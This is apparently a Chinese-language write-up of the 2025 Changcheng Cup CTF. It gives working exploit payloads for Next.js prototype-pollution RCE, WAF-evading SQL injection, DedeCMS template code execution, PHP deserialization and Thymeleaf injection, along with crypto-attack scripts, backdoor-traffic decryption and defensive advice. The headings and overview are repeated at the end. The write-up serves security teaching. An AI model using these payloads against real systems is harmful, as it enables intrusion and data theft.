2025年第三届长城杯CTF题解与知识点教学<\/h1>

概述<\/h2>
本文基于2025年第三届长城杯CTF比赛的详细题解，系统性地整理了Web安全、流量分析、密码学和逆向工程等领域的实战技巧与原理分析。通过具体题目案例，深入剖析各类漏洞的发现、利用与防御方法。<\/p>

一、Web安全篇<\/h2>

1.1 Next.js RCE漏洞（CVE-2025-55182）<\/h3>

漏洞原理<\/h4>

漏洞类型<\/strong>：服务端请求伪造（SSRF）结合原型链污染<\/li>
影响版本<\/strong>：Next.js特定版本（基于题目推断）<\/li>

关键点<\/strong>：通过Next-Action<\/code>头触发服务端动作处理机制，利用JSON序列化漏洞污染原型链，最终实现远程代码执行。<\/li> <\/ul> 利用步骤<\/h4> 构造恶意请求<\/strong>：<\/li> <\/ol> POST \/apps HTTP\/2 <\/span><\/span><\/span>Next-Action: x <\/span><\/span><\/span>Content-Type: multipart\/form-data <\/span><\/span><\/span><\/code><\/pre> 污染原型链<\/strong>：<\/li> <\/ol> { <\/span><\/span> "then"<\/span>:"$1:__proto__:then"<\/span>, <\/span><\/span> "status"<\/span>:"resolved_model"<\/span>, <\/span><\/span> "value"<\/span>:"{"<\/span>then<\/span>":"<\/span>$B<\/span>1337<\/span>"}"<\/span>, <\/span><\/span> "_response"<\/span>:{ <\/span><\/span> "_prefix"<\/span>:"var res=process.mainModule.require('child_process').execSync('cat \/f*').toString().trim();;throw ..."<\/span>, <\/span><\/span> "_formData"<\/span>:{"get"<\/span>:"$1:constructor:constructor"<\/span>} <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre> 执行系统命令<\/strong>：通过execSync<\/code>执行任意命令获取flag。<\/li> <\/ol> 防御方案<\/h4> 升级Next.js到安全版本<\/li> 验证用户输入的JSON数据<\/li> 禁用不必要的服务端功能<\/li> <\/ul> 1.2 SQL注入与WAF绕过<\/h3> 题目特征<\/h4> 存在AI驱动的WAF，检测关键字如union<\/code>、select<\/code><\/li> 使用MySQL数据库（版本>5.00.00）<\/li> <\/ul> 绕过技术：内联注释<\/h4> -<\/span>1<\/span>'\/*!50000union*\/ \/*!50000select*\/ database(),2,3# <\/span><\/span><\/span><\/code><\/pre> 原理<\/strong>：\/*!50000 *\/<\/code>在MySQL 5.00.00及以上版本会被执行，但WAF可能误判为注释<\/li> 步骤<\/strong>：探测注入点：-1'<\/code>引发错误<\/li> 获取表名：group_concat(table_name) from information_schema.tables<\/code><\/li> 获取列名：group_concat(column_name) from information_schema.columns<\/code><\/li> 读取数据：直接查询目标表<\/li> <\/ol> <\/li> <\/ul> 防御建议<\/h4> 使用参数化查询<\/li> WAF规则需要覆盖内联注释变种<\/li> 最小化数据库用户权限<\/li> <\/ul> 1.3 DedeCMS权限提升与代码执行<\/h3> 漏洞链分析<\/h4> 弱口令爆破<\/strong>：通过前台登录框爆破管理员密码（admin\/admin123）<\/li> 权限提升漏洞<\/strong>：普通用户Aa123456789可提升其他用户至超级管理员<\/li> 模板注入RCE<\/strong>：通过"标签源码管理"插入PHP代码<\/li> <\/ol> 代码执行绕过<\/h4> <?<\/span>php<\/span> <\/span><\/span>$a =<\/span> substr_replace<\/span>("systxx"<\/span>,"em"<\/span>,4<\/span>); <\/span><\/span>$a('cat \/f*'<\/span>) <\/span><\/span>?><\/span> <\/span><\/span><\/span><\/code><\/pre> 关键点<\/strong>：使用字符串操作函数绕过"system"关键字检测<\/li> 利用条件<\/strong>：需要超级管理员权限+模板写入权限<\/li> <\/ul> 安全加固<\/h4> 强化密码策略<\/li> 审计权限分配逻辑<\/li> 限制模板修改权限<\/li> <\/ul> 1.4 PHP反序列化漏洞<\/h3> 漏洞链构造<\/h4> class<\/span> A<\/span> { public<\/span> $handle; } <\/span><\/span>class<\/span> B<\/span> { public<\/span> $worker; public<\/span> $cmd; } <\/span><\/span>class<\/span> C<\/span> { public<\/span> $cmd; } <\/span><\/span> <\/span><\/span>$a=<\/span>new<\/span> A<\/span>(); $b=<\/span>new<\/span> B<\/span>(); $c=<\/span>new<\/span> C<\/span>(); <\/span><\/span>$a-><\/span>handle<\/span>=<\/span>$b; $b-><\/span>worker<\/span>=<\/span>$c; <\/span><\/span>$c-><\/span>cmd<\/span>=<\/span>"php:\/\/filter\/convert.base64-encode\/resource=\/flag"<\/span>; <\/span><\/span><\/code><\/pre> 触发路径<\/strong>：A::triggerMethod() → B::__toString() → C::__get()<\/code><\/li> 利用技术<\/strong>：通过PHP伪协议直接读取文件内容<\/li> <\/ul> 序列化数据<\/h4> O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:52:"php:\/\/filter\/convert.base64-encode\/resource=\/flag";}s:3:"cmd";N;}} <\/code><\/pre> 防护措施<\/h4> 避免使用__destruct<\/code>、__toString<\/code>等魔术方法执行危险操作<\/li> 使用允许类列表进行反序列化<\/li> <\/ul> 1.5 Thymeleaf模板注入<\/h3> 漏洞场景<\/h4> 预览功能支持表达式执行，如7*7<\/code>返回49<\/li> 默认禁用T<\/code>（T()表达式），但可通过反射绕过<\/li> <\/ul> 反射利用技术<\/h4> \/\/ 读取目录列表 <\/span><\/span><\/span><\/span>${<\/span>#<\/span>strings.<\/span>arrayJoin<\/span>(<\/span>#<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Files<\/span>'<\/span>)<\/span> <\/span><\/span> .<\/span>getMethod<\/span>(<\/span>'<\/span>list'<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Path<\/span>'<\/span>))<\/span> <\/span><\/span> .<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Paths<\/span>'<\/span>)<\/span> <\/span><\/span> .<\/span>getMethod<\/span>(<\/span>'<\/span>get'<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>lang<\/span>.<\/span>String<\/span>'<\/span>))<\/span> <\/span><\/span> .<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> '\/'<\/span>)),<\/span> '<\/span>,<\/span> '<\/span>)}<\/span> <\/span><\/span> <\/span><\/span>\/\/ 读取文件内容 <\/span><\/span><\/span><\/span>${<\/span>#<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Files<\/span>'<\/span>)<\/span> <\/span><\/span> .<\/span>getMethod<\/span>(<\/span>'<\/span>readAllLines'<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Path<\/span>'<\/span>))<\/span> <\/span><\/span> .<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>nio<\/span>.<\/span>file<\/span>.<\/span>Paths<\/span>'<\/span>)<\/span> <\/span><\/span> .<\/span>getMethod<\/span>(<\/span>'<\/span>get'<\/span>,<\/span> #<\/span>strings.<\/span>getClass<\/span>().<\/span>forName<\/span>(<\/span>'<\/span>java.<\/span>lang<\/span>.<\/span>String<\/span>'<\/span>))<\/span> <\/span><\/span> .<\/span>invoke<\/span>(<\/span>null<\/span>,<\/span> '<\/span>\/<\/span>flag_file'<\/span>))}<\/span> <\/span><\/span><\/code><\/pre>安全建议<\/h4> 禁用Thymeleaf表达式执行<\/li> 使用沙箱环境处理用户输入<\/li> <\/ul> 二、流量分析篇<\/h2> 2.1 SnakeBackdoor后门分析<\/h3> 后门特征识别<\/h4> 通信特征<\/strong>：特定HTTP头X-Token-Auth: 3011aa21232beb7504432bfa90d32779<\/code><\/li> 加密方式<\/strong>：RC4算法，密钥v1p3r_5tr1k3_k3y<\/code><\/li> 数据格式<\/strong>：hex编码的RC4加密数据<\/li> <\/ol> 解密脚本<\/h4> def<\/span> rc4_crypt<\/span>(data: bytes, key: bytes) -><\/span> bytes: <\/span><\/span> S =<\/span> list(range(256<\/span>)) <\/span><\/span> j =<\/span> 0<\/span> <\/span><\/span> # Key-scheduling algorithm<\/span> <\/span><\/span> for<\/span> i in<\/span> range(256<\/span>): <\/span><\/span> j =<\/span> (j +<\/span> S[i] +<\/span> key[i %<\/span> len(key)]) %<\/span> 256<\/span> <\/span><\/span> S[i], S[j] =<\/span> S[j], S[i] <\/span><\/span> # Pseudo-random generation algorithm<\/span> <\/span><\/span> i =<\/span> j =<\/span> 0<\/span> <\/span><\/span> res =<\/span> bytearray() <\/span><\/span> for<\/span> char in<\/span> data: <\/span><\/span> i =<\/span> (i +<\/span> 1<\/span>) %<\/span> 256<\/span> <\/span><\/span> j =<\/span> (j +<\/span> S[i]) %<\/span> 256<\/span> <\/span><\/span> S[i], S[j] =<\/span> S[j], S[i] <\/span><\/span> res.<\/span>append(char ^<\/span> S[(S[i] +<\/span> S[j]) %<\/span> 256<\/span>]) <\/span><\/span> return<\/span> bytes(res) <\/span><\/span><\/code><\/pre>分析技巧<\/h4> 使用Wireshark过滤：http.request.method == "POST"<\/code><\/li> 追踪HTTP流查找关键操作<\/li> 注意base64\/zlib编码的多层嵌套<\/li> <\/ul> 2.2 SM4算法识别与密钥恢复<\/h3> 算法特征<\/h4> 32轮迭代结构<\/li> 128位分组长度<\/li> 特定S盒变换<\/li> <\/ul> 密钥生成逻辑<\/h4> \/\/ 伪随机数生成种子 <\/span><\/span><\/span><\/span>srand(0x34952046<\/span>); <\/span><\/span>uint32_t<\/span> v8[4<\/span>]; <\/span><\/span>for<\/span>(int<\/span> i=<\/span>0<\/span>; i<<\/span>4<\/span>; i++<\/span>) { <\/span><\/span> v8[i] =<\/span> (uint32_t<\/span>)rand(); <\/span><\/span>} <\/span><\/span><\/code><\/pre>流量解密流程<\/h4> 从流量包提取4字节随机种子<\/li> 生成SM4加密密钥<\/li> 解密通信内容<\/li> <\/ol> 三、密码学篇<\/h2> 3.1 ECDSA非ce预测攻击<\/h3> 漏洞原理<\/h4> 正常签名<\/strong>：s = k⁻¹(H(m) + r*d) mod n<\/code><\/li> 预测nonce<\/strong>：k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big")<\/code><\/li> 私钥恢复<\/strong>：d = r⁻¹(s*k - H(m)) mod n<\/code><\/li> <\/ul> 利用脚本<\/h4> def<\/span> recover_private_key<\/span>(msg, sig, index): <\/span><\/span> k =<\/span> int.<\/span>from_bytes(sha512(b<\/span>"bias"<\/span> +<\/span> bytes([index])).<\/span>digest(), "big"<\/span>) <\/span><\/span> r, s =<\/span> sig <\/span><\/span> h =<\/span> bytes_to_long(sha1(msg).<\/span>digest()) <\/span><\/span> r_inv =<\/span> pow(r, n-<\/span>2<\/span>, n) # 模逆<\/span> <\/span><\/span> d =<\/span> (r_inv *<\/span> (s *<\/span> k -<\/span> h)) %<\/span> n <\/span><\/span> return<\/span> d <\/span><\/span><\/code><\/pre>防护措施<\/h4> 使用密码学安全的随机数生成器<\/li> 避免基于时间或计数器的nonce生成<\/li> <\/ul> 3.2 RSA嵌套攻击（p-1光滑素数）<\/h3> 素数生成漏洞<\/h4> def<\/span> get_smooth_prime<\/span>(bits=<\/span>1024<\/span>, smoothness=<\/span>20<\/span>, max_prime=<\/span>None<\/span>): <\/span><\/span> # 生成p-1包含很多小因子的素数<\/span> <\/span><\/span> factors =<\/span> [2<\/span>] <\/span><\/span> if<\/span> max_prime: factors.<\/span>append(max_prime) <\/span><\/span> # 累积小素数直到接近目标位数<\/span> <\/span><\/span> for<\/span> p in<\/span> primerange(3<\/span>, 2<\/span>**<\/span>smoothness): <\/span><\/span> factors.<\/span>append(p) <\/span><\/span> tmpp =<\/span> product(factors) <\/span><\/span> # 调整到目标位数<\/span> <\/span><\/span> prime1 =<\/span> get_prime(bits\/\/<\/span>4<\/span>) <\/span><\/span> prime2 =<\/span> get_prime(bits\/\/<\/span>4<\/span>) <\/span><\/span> tmpp *=<\/span> prime1 *<\/span> prime2 <\/span><\/span> while<\/span> True<\/span>: <\/span><\/span> if<\/span> is_prime(tmpp +<\/span> 1<\/span>): <\/span><\/span> return<\/span> tmpp +<\/span> 1<\/span> <\/span><\/span> tmpp *=<\/span> 2<\/span> <\/span><\/span><\/code><\/pre>分解攻击<\/h4> 外层分解<\/strong>：使用Pollard's p-1算法分解n（因p-1光滑）<\/li> 内层恢复<\/strong>：从p-1中提取内层素数p1 = gcd(p-1, n1)<\/code><\/li> <\/ol> 攻击脚本<\/h4> def<\/span> pollard_p1<\/span>(n, B=<\/span>2<\/span>**<\/span>20<\/span>): <\/span><\/span> a =<\/span> pow(2<\/span>, n1, n) # 预处理加速<\/span> <\/span><\/span> for<\/span> p in<\/span> primerange(2<\/span>, B): <\/span><\/span> pk =<\/span> p <\/span><\/span> while<\/span> pk *<\/span> p <=<\/span> B: pk *=<\/span> p <\/span><\/span> a =<\/span> pow(a, pk, n) <\/span><\/span> if<\/span> p %<\/span> 300<\/span> ==<\/span> 0<\/span>: <\/span><\/span> g =<\/span> gcd(a-<\/span>1<\/span>, n) <\/span><\/span> if<\/span> 1<\/span> <<\/span> g <<\/span> n: return<\/span> g <\/span><\/span> return<\/span> None<\/span> <\/span><\/span><\/code><\/pre> 四、逆向工程篇<\/h2> 4.1 WASM认证绕过<\/h3> 分析要点<\/h4> WASM文件导出authenticate<\/code>函数<\/li> 依赖Date.now()<\/code>导入函数<\/li> 自定义Base64码表：NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2\/VkS7yO<\/code><\/li> <\/ul> 爆破策略<\/h4> \/\/ 时间范围爆破 <\/span><\/span><\/span><\/span>const<\/span> start<\/span> =<\/span> new<\/span> Date('2025-12-22T00:00:00+08:00'<\/span>).getTime<\/span>(); <\/span><\/span>const<\/span> end<\/span> =<\/span> new<\/span> Date('2025-12-22T06:00:00+08:00'<\/span>).getTime<\/span>(); <\/span><\/span> <\/span><\/span>for<\/span>(let<\/span> timestamp<\/span> =<\/span> start<\/span>; timestamp<\/span> <=<\/span> end<\/span>; timestamp<\/span> +=<\/span> 1000<\/span>) { <\/span><\/span> const<\/span> result<\/span> =<\/span> wasmInstance<\/span>.exports<\/span>.authenticate<\/span>(timestamp<\/span>); <\/span><\/span> const<\/span> hash<\/span> =<\/span> md5<\/span>(JSON<\/span>.stringify<\/span>(result<\/span>)); <\/span><\/span> if<\/span>(hash<\/span>.startsWith<\/span>('ccaf33e3512e31f3'<\/span>)) { <\/span><\/span> console<\/span>.log<\/span>("Found:"<\/span>, timestamp<\/span>, hash<\/span>); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.2 游戏逆向（AES-ECB）<\/h3> 关键逻辑<\/h4> 初始密钥<\/strong>：FanAglFanAglOoO!<\/code><\/li> 运行时修改<\/strong>：吃到金币后Flag.key = Flag.key.replace("A", "B")<\/code><\/li> 最终密钥<\/strong>：FanBglFanBglOoO!<\/code><\/li> <\/ol> 解密脚本<\/h4> from<\/span> Crypto.Cipher import<\/span> AES <\/span><\/span> <\/span><\/span>ciphertext =<\/span> bytes.<\/span>fromhex("d458af702a680ae4d089ce32fc39945d"<\/span>) <\/span><\/span>key =<\/span> "FanBglFanBglOoO!"<\/span>.<\/span>encode() <\/span><\/span>cipher =<\/span> AES.<\/span>new(key, AES.<\/span>MODE_ECB) <\/span><\/span>plaintext =<\/span> cipher.<\/span>decrypt(ciphertext) # wOW~youAregrEaT!<\/span> <\/span><\/span><\/code><\/pre>4.3 Go二进制网络协议分析<\/h3> 协议结构<\/h4> ET3RNUMX[4字节长度][12字节Nonce][密文] <\/code><\/pre> 解密流程<\/h4> 从二进制中提取AES-256密钥：xfqGcVjrOWp5tUGCPFQq448nPDjILTe7<\/code><\/li> 使用AES-GCM模式解密（12字节Nonce）<\/li> 解码攻击者执行的命令结果<\/li> <\/ol> 关键发现<\/h4> 攻击者执行：base32 \/var\/opt\/secret<\/code><\/li> 解码得到flag哈希值<\/li> <\/ul> 五、综合防护建议<\/h2> 5.1 开发安全<\/h3> 及时更新框架和依赖库<\/li> 实施安全的反序列化策略<\/li> 使用参数化查询防御SQL注入<\/li> 对用户输入进行严格验证和过滤<\/li> <\/ul> 5.2 密码学安全<\/h3> 使用真随机数生成器<\/li> 避免自定义加密算法<\/li> 实施完善的密钥管理策略<\/li> 定期进行安全审计<\/li> <\/ul> 5.3 网络防护<\/h3> 部署WAF并定期更新规则<\/li> 监控异常网络流量<\/li> 加密敏感通信数据<\/li> 实施网络分段隔离<\/li> <\/ul> 5.4 安全开发生命周期<\/h3> 在开发初期考虑安全需求<\/li> 进行代码安全审查<\/li> 实施渗透测试和红队演练<\/li> 建立应急响应机制<\/li> <\/ul> 通过系统学习以上CTF题解中的技术点，安全研究人员可以深入理解现代Web应用中的常见漏洞类型、利用手法和防御策略，提升实战能力。<\/p>

2025年第三届长城杯CTF题解与知识点教学<\/h1>

概述<\/h2> 本文基于2025年第三届长城杯CTF比赛的详细题解，系统性地整理了Web安全、流量分析、密码学和逆向工程等领域的实战技巧与原理分析。通过具体题目案例，深入剖析各类漏洞的发现、利用与防御方法。<\/p>

一、Web安全篇<\/h2>

1.1 Next.js RCE漏洞（CVE-2025-55182）<\/h3>

1.2 SQL注入与WAF绕过<\/h3>

1.3 DedeCMS权限提升与代码执行<\/h3>

1.4 PHP反序列化漏洞<\/h3>

1.5 Thymeleaf模板注入<\/h3>

二、流量分析篇<\/h2>

2.1 SnakeBackdoor后门分析<\/h3>

2.2 SM4算法识别与密钥恢复<\/h3>

三、密码学篇<\/h2>

3.1 ECDSA非ce预测攻击<\/h3>

3.2 RSA嵌套攻击（p-1光滑素数）<\/h3>

四、逆向工程篇<\/h2>

4.1 WASM认证绕过<\/h3>

4.2 游戏逆向（AES-ECB）<\/h3>

4.3 Go二进制网络协议分析<\/h3>

五、综合防护建议<\/h2>

概述<\/h2>
本文基于2025年第三届长城杯CTF比赛的详细题解，系统性地整理了Web安全、流量分析、密码学和逆向工程等领域的实战技巧与原理分析。通过具体题目案例，深入剖析各类漏洞的发现、利用与防御方法。<\/p>